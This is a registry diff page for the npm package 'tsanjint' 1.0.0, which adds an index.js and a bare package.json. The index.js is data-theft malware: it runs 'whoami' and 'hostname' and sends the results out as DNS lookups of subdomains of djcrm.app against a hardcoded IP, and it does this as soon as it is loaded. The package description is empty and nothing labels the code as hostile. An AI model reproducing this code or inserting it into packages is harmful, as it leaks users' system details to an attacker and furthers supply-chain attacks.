tsanjint 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +36 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,36 @@
1
+ const { exec } = require('child_process');
2
+
3
+ function exfiltrateData(data) {
4
+ const server = '50.116.29.66'; // Your DNS server IP
5
+ data.forEach(chunk => {
6
+ const query = `${chunk}.djcrm.app`;
7
+ exec(`nslookup ${query} ${server}`, (err, stdout, stderr) => {
8
+ if (err) {
9
+ console.error(`Error resolving ${query}: ${err}`);
10
+ } else {
11
+ console.log(`Resolved ${query} to ${stdout}`);
12
+ }
13
+ });
14
+ });
15
+ }
16
+
17
+ function captureData(callback) {
18
+ exec('whoami', (err, stdout, stderr) => {
19
+ if (err) {
20
+ console.error(`Error executing whoami: ${err}`);
21
+ return;
22
+ }
23
+ const whoamiOutput = stdout.trim().replace(/\s+/g, '-');
24
+
25
+ exec('hostname', (err, stdout, stderr) => {
26
+ if (err) {
27
+ console.error(`Error executing hostname: ${err}`);
28
+ return;
29
+ }
30
+ const hostnameOutput = stdout.trim().replace(/\s+/g, '-');
31
+ callback([whoamiOutput, hostnameOutput]);
32
+ });
33
+ });
34
+ }
35
+
36
+ captureData(exfiltrateData);
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "tsanjint",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "start": "node index.js"
8
+ },
9
+ "keywords": [],
10
+ "author": "",
11
+ "license": "ISC"
12
+ }